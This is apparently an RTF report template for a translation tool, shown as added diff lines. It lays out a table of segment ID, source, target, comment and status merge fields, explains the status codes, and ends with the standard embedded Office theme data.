+\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9 +\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\ltrrow\trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 +\trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl +\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid5006427\yts15 \rtlch\fcs1 +\af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Values in Statu}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427 \hich\af0\dbch\af13\loch\f0 s column for segment statuses}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6768826 \hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 \af13\afs15 +\ltrch\fcs0 \fs15\cf6\kerning2\insrsid6113044 \hich\af0\dbch\af13\loch\f0 (}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6113044\charrsid6113044 \hich\af0\dbch\af13\loch\f0 Use &\hich\af0\dbch\af13\loch\f0 to separate multiple status}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6113044 \hich\af0\dbch\af13\loch\f0 )}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427 \hich\af0\dbch\af13\loch\f0 : +\par }\pard \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid12925418\yts15 {\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 0 }{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6840096 \loch\af0\dbch\af13\hich\f0 \endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Untranslated}{\rtlch\fcs1 +\af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6840096 ,\hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 1 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid6840096 \loch\af0\dbch\af13\hich\f0 \endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Draft}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid6840096 ,\hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 2 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6840096 +\loch\af0\dbch\af13\hich\f0 \endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Translated}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid6840096 , +\hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 3 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid15085694 \loch\af0\dbch\af13\hich\f0 +\endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Approved}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid15085694 ,\hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 +\af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 4 - Signed off}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid15085694 \hich\af0\dbch\af13\loch\f0 , }{\rtlch\fcs1 \af13\afs15 +\ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 7 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid14445965 \loch\af0\dbch\af13\hich\f0 \endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 Locked}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid14445965 ,\hich\af0\dbch\af13\loch\f0 }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 8 - Not send to TM}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid12925418 \hich\af0\dbch\af13\loch\f0 , }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid5006427\charrsid5006427 \hich\af0\dbch\af13\loch\f0 9 \hich\f0 \endash }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid5006427 \hich\af0\dbch\af13\loch\f0 Pending.}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid5840819\charrsid6113044 \cell }\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid5840819\charrsid9201643 \trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 +\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid15869228\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8522\clshdrawnil \cellx8414\row \ltrrow}\trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 +\trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \rtlch\fcs1 \af0\afs20\alang1025 +\ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_source}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_target \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_comment \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_comment}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 +\ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $header_status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid11083745\charrsid9201643 \trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 +\cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 \cellx8414\row \ltrrow}\trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh +\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 +\fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Id \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Comment \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Comment}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 +\f38\fs18\kerning2\insrsid11083745\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid11083745\charrsid9201643 +\hich\af38\dbch\af13\loch\f38 $es.Status}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid11083745\charrsid9201643 \cell +}\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid11083745\charrsid9201643 \trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh +\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\row }\pard \ltrpar\ql \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid608150 +\par }{\*\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 +72ba28a5d8cea249777d2cd20f18e4b12d6a8f843409c9df77ecb850ba082d74231062ce997b55ae8fe3a00e1893f354e9555e6885647de3a8abf4fbee29bbd7 +2a3150038327acf409935ed7d757e5ee14302999a654e99e393c18936c8f23a4dc072479697d1c81e51a3b13c07e4087e6b628ee8cf5c4489cf1c4d075f92a0b +44d7a07a83c82f308ac7b0a0f0fbf90c2480980b58abc733615aa2d210c2e02cb04430076a7ee833dfb6ce62e3ed7e14693e8317d8cd0433bf5c60f53fea2fe7 +065bd80facb647e9e25c7fc421fd2ddb526b2e9373fed4bb902e182e97b7b461e6bfad3f010000ffff0300504b030414000600080000002100a5d6a7e7c00000 +00360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4fc7060abb08 +84a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b63095120f88d94fbc +52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462a1a82fe353 +bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f7468656d652f7468 +656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b4b0d592c9c +070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b4757e8d3f7 +29e245eb2b260a0238fd010000ffff0300504b030414000600080000002100c71c6d149c060000511b0000160000007468656d652f7468656d652f7468656d65 +312e786d6cec594d6f1b4518be23f11f467b6f6327761a4775aad8b11b68d346b15bd4e3783dde9d7a766735334eea1b6a8f484888827aa012e2c20101955a09 +24caaf49292a45ea5fe09d99ddf54ebc26491b4105f521f1ce3eeff7c7bc33be78e94ec4d03e1192f2b8e955cf573c44629f0f691c34bd1bfdeeb9350f4985e3 +21663c264d6f4aa47769e3fdf72ee27515928820a08fe53a6e7aa152c9fad292f46119cbf33c2131bc1b711161058f22581a0a7c007c23b6b45ca9ac2e4598c6 +1e8a71046caf8f46d427e8d9cfbfbcf8e681b79171ef3010112ba9177c267a9a3771480c7638ae6a849cca3613681fb3a6078286fca04fee280f312c15bc687a +15f3f196362e2ee1f59488a905b405baaef9a47429c170bc6c648a60900bad766b8d0b5b397f03606a1ed7e974da9d6acecf00b0ef83a5569722cf5a77addaca +781640f6eb3cef76a55ea9b9f802ff95399d1bad56abde4875b14c0dc87eadcde1d72aabb5cd65076f40165f9fc3d75a9bedf6aa8337208b5f9dc3772f34566b +2ede804246e3f11c5a07b4db4db9e7901167dba5f03580af5552f80c05d99067971631e2b15a946b11becd4517001ac8b0a23152d3848cb00f69dcc6d14050ac +05e075820b6fec922fe796b42c247d4113d5f43e4c3094c48cdfaba7dfbf7afa181dde7d7278f7a7c37bf70eeffe68193954db380e8a542fbffdeccf871fa33f +1e7ffdf2fe17e57859c4fff6c327cf7efdbc1c08e53353e7f9978f7e7ff2e8f9834f5f7c77bf04be29f0a008efd38848748d1ca03d1e8161c62baee664204e47 +d10f312d526cc681c431d6524af87754e8a0af4d314ba3e3e8d122ae076f0a681f65c0cb93db8ec2bd504c142d917c258c1ce00ee7acc545a917ae68590537f7 +2771502e5c4c8ab83d8cf7cb64b771ecc4b73349a06f6669e918de0e89a3e62ec3b1c201898942fa1d1f135262dd2d4a1dbfee505f70c9470adda2a88569a94b +fa74e064d38c689b4610976999cd106fc7373b37518bb332abb7c8be8b84aac0ac44f93e618e1b2fe389c25119cb3e8e58d1e157b10acb94ec4d855fc475a482 +48078471d4191229cb68ae0bb0b710f42b183a5669d877d834729142d17119cfab98f322728b8fdb218e92326c8fc66111fb811c438a62b4cb55197c87bb15a2 +9f210e385e18ee9b9438e13ebe1bdca081a3d22c41f49b89d0b18456ed74e088c67fd78e19857e6c73e0ecda3134c0e75f3d2cc9acb7b5116fc29e545609db47 +daef22dcd1a6dbe66248dffe9ebb8527f12e81349fdf78deb5dc772dd7fbcfb7dc45f57cd2463bebadd076f5dc6087623322470b27e41165aca7a68c5c956648 +96b04f0cbbb0a8e9ccf190e427a62484af695f777081c0860609ae3ea22aec85388101bbea6926814c590712255cc2c1ce2c97f2d67818d2953d16d6f581c1f6 